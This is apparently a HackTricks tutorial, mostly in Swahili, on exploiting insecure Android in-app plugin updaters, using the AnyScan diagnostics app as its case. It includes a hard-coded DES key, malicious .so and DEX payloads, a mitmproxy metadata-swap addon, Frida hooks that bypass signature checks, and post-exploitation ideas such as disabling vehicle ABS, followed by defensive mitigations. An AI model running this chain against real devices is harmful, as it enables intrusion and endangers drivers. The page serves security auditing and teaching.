Mbinu zisizo salama za In-App Update – Remote Code Execution via Malicious Plugins

Reading time: 10 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Programu nyingi za Android hufanya vyanzo vyao vya “plugin” au “dynamic feature” vya updates badala ya kutumia Google Play Store. Iwapo utekelezaji si salama, mshambuliaji anayeweza kuingilia au kubadilisha trafiki ya update anaweza kusambaza arbitrary native au Dalvik/ART code zitakazopakiwa ndani ya mchakato wa app, na kusababisha Remote Code Execution (RCE) kamili kwenye handset — na katika baadhi ya matukio kwenye kifaa chochote cha nje kinachodhibitiwa na app (cars, IoT, medical devices …).

Ukurasa huu unatoa muhtasari wa mnyororo wa udhaifu uliopatikana katika Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) na kunoa mbinu ili uweze kuauditi Android apps nyingine na weaponise mis-configuration wakati wa red-team engagement.


0. Ukaguzi wa haraka: je, app ina in‑app updater?

Dalili za static za kutafuta katika JADX/apktool:

  • Strings: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
  • Endpoints za mtandao kama /update, /plugins, /getUpdateList, /GetUpdateListEx.
  • Msaada wa crypto karibu na njia za update (DES/AES/RC4; Base64; JSON/XML packs).
  • Dynamic loaders: System.load, System.loadLibrary, dlopen, DexClassLoader, PathClassLoader.
  • Njia za unzip zinazoandika chini ya app-internal au external storage, kisha mara moja ku-load .so/DEX.

Runtime hooks za kuthibitisha:

js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');

SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});

1. Kutambua TrustManager isiyo salama ya TLS

  1. Dekompaile APK kwa kutumia jadx / apktool na tafuta stack ya mitandao (OkHttp, HttpUrlConnection, Retrofit…).
  2. Tafuta TrustManager au HostnameVerifier maalum ambao inaamini bila kuchunguza vyeti vyote:
java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
new X509TrustManager() {
public void checkClientTrusted(X509Certificate[] chain, String authType) {}
public void checkServerTrusted(X509Certificate[] chain, String authType) {}
public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
}
};
}
  1. Ikiwa ipo, programu itakubali cheti chochote cha TLS → unaweza kuendesha transparent MITM proxy kwa self-signed cert:
bash
mitmproxy -p 8080 -s addon.py  # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080  # on rooted device / emulator

Ikiwa TLS pinning imetekelezwa badala ya mantiki isiyo salama ya trust-all, angalia:

Android Anti Instrumentation And Ssl Pinning Bypass

Make APK Accept CA Certificate


2. Reverse-Engineering ya metadata ya masasisho

Katika kesi ya AnyScan, kila uzinduzi wa app husababisha HTTPS GET kwa:

https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx

Mwili wa jibu ni hati ya XML ambapo node za <FileData> zina JSON iliyosimbwa kwa DES-ECB na iliyo Base64-encoded inayofafanua kila plugin inayopatikana.

Typical hunting steps:

  1. Pata rotina ya crypto (e.g. RemoteServiceProxy) na upate:
  • algoritimu (DES / AES / RC4 …)
  • mode ya uendeshaji (ECB / CBC / GCM …)
  • funguo zilizo hard-coded / IV (kawaida 56‑bit DES au 128‑bit AES konstanti)
  1. Rudia kutekeleza function hiyo kwa Python ili ku-decrypt / ku-encrypt metadata:
python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode

KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A"  # 56-bit key observed in AnyScan

def decrypt_metadata(data_b64: str) -> bytes:
cipher = DES.new(KEY, DES.MODE_ECB)
return cipher.decrypt(b64decode(data_b64))

def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()

Maelezo yaliyoonekana porini (2023–2025):

  • Metadata mara nyingi huwa JSON-within-XML au protobuf; sifre dhaifu na funguo za static ni za kawaida.
  • Updaters nyingi zinakubali plain HTTP kwa ajili ya kupakua payload halisi hata kama metadata inakuja kupitia HTTPS.
  • Plugins mara nyingi hu-unzip kwenye app-internal storage; baadhi bado hutumia external storage au legacy requestLegacyExternalStorage, kuruhusu cross-app tampering.

3. Tengeneza Plugin Mbaya

3.1 Njia ya native library (dlopen/System.load[Library])

  1. Chagua ZIP yoyote ya plugin halali na badilisha native library na payload yako:
c
// libscan_x64.so – constructor runs as soon as the library is loaded
__attribute__((constructor))
void init(void){
__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid());
// spawn reverse shell, drop file, etc.
}
bash
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
  1. Sasisha metadata ya JSON ili "FileName" : "PWNED.zip" na "DownloadURL" ziwe zinarejea kwenye HTTP server yako.
  2. Fanya re‑encrypt + Base64‑encode kwa JSON iliyobadilishwa kisha ibandika tena ndani ya XML iliyokamatwa.

3.2 Njia ya plugin inayotegemea Dex (DexClassLoader)

Baadhi ya apps hupakua JAR/APK na hupakia code kupitia DexClassLoader. Tengeneza DEX hatari itakayotekelezwa wakati wa kupakia:

java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex  # the updater will fetch this

Ikiwa lengo litaite Class.forName("pwn.Dropper") static initializer yako itaendesha; vinginevyo, kupitia reflection, orodhesha madarasa yaliyopakiwa kwa kutumia Frida kisha ita method iliyotolewa.


4. Wasilisha Payload na mitmproxy

addon.py mfano unaobadilisha metadata asilia bila kutambulika:

python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()

def request(flow: http.HTTPFlow):
if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path:
flow.response = http.Response.make(
200,
MOD_XML,
{"Content-Type": "text/xml"}
)

Endesha web server rahisi ili ku-host ZIP/JAR ya hasidi:

bash
python3 -m http.server 8000 --directory ./payloads

When the victim launches the app it will:

  • itachukua XML yetu iliyodanganywa kupitia chaneli ya MITM;
  • decrypt & parse it with the hard-coded crypto;
  • download PWNED.zip or plugin.jar → unzip inside private storage;
  • load the included .so or DEX, instantly executing our code with the app’s permissions (camera, GPS, Bluetooth, filesystem, …).

Because the plugin is cached on disk the backdoor persists across reboots and runs every time the user selects the related feature.


4.1 Bypassing signature/hash checks (when present)

If the updater validates signatures or hashes, hook verification to always accept attacker content:

js
// Frida – make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});

// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});

Pia zingatia ku-stub mbinu za vendor kama PluginVerifier.verifySignature(), checkHash(), au kupunguza/ku-short‑circuit mantiki ya gating ya update katika Java au JNI.


5. Nyuso nyingine za mashambulizi katika vipengele vya masasisho (2023–2025)

  • Zip Slip path traversal wakati wa kutoa plugins: vitu hatarishi kama ../../../../data/data/<pkg>/files/target vinaweza kuandika juu ya faili yoyote. Daima sanitisha njia za entry na tumia allow‑lists.
  • External storage staging: ikiwa app inaandika archive kwenye external storage kabla ya kuipakia, app nyingine yoyote inaweza kuiharibu. Scoped Storage au internal app storage vinaepuka hili.
  • Cleartext downloads: metadata kwa HTTPS lakini payload kwa HTTP → kubadilishana kwa MITM kwa urahisi.
  • Incomplete signature checks: kulinganisha hash ya faili moja tu, si archive yote; kutoziunganisha saini na developer key; kukubali yoyote RSA key iliyopo ndani ya archive.
  • React Native / Web-based OTA content: ikiwa native bridges zinaendesha JS kutoka OTA bila signing kali, utekelezaji wa code yoyote katika muktadha wa app unaweza kutokea (mf., flows zinazofanana na CodePush zisizo salama). Hakikisha detached update signing na verification kali.

6. Post-Exploitation Ideas

  • Pora session cookies, OAuth tokens, au JWTs zilizo hifadhiwa na app.
  • Angusha APK ya hatua ya pili na uitumie kimya kwa pm install ikiwa inawezekana (app zingine tayari zinaeleza REQUEST_INSTALL_PACKAGES).
  • Tumia vibaya vifaa vyovyote vilivyounganishwa – katika tukio la AnyScan unaweza kutuma amri yoyote ya OBD‑II / CAN bus (fungua milango, zima ABS, n.k.).

Orodha ya Ugundaji na Kupunguza Hatari (blue team)

  • Epuka dynamic code loading na out‑of‑store updates. Prefer Play‑mediated updates. Ikiwa dynamic plugins ni sharti, zitenge kama bundles za data tu na weka executable code katika base APK.
  • Tekeleza TLS ipasavyo: usitumie custom trust‑all managers; weka pinning pale inapowezekana na network security config iliyokazwa inayokataa trafiki ya cleartext.
  • Usipakue executable code kutoka nje ya Google Play. Ikiwa lazima, tumia detached update signing (mf., Ed25519/RSA) na developer‑held key na hakikisha kabla ya kuipakia. Unganisha metadata na payload (urefu, hash, version) na fail closed.
  • Tumia crypto ya kisasa (AES‑GCM) na nonces kwa ujumbe kwa metadata; tosha hard‑coded keys kutoka kwa clients.
  • Thibitisha uadilifu wa archives zilizopakuliwa: hakiki saini inayofunika kila faili, au angalau hakiki manifest ya SHA‑256 hashes. Kataa faili za ziada/zisizojulikana.
  • Hifadhi downloads katika app‑internal storage (au scoped storage kwenye Android 10+) na tumia ruhusa za faili zinazozuia kuingiliwa na apps nyingine.
  • Linda dhidi ya Zip Slip: normaliza na thibitisha zip entry paths kabla ya extraction; kata absolute paths au sehemu ...
  • Fikiria Play “Code Transparency” ili wewe na watumiaji muweze kuthibitisha kwamba shipped DEX/native code inalingana na mlivyojenga (inaongeza usalama lakini haibadilishi APK signing).

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks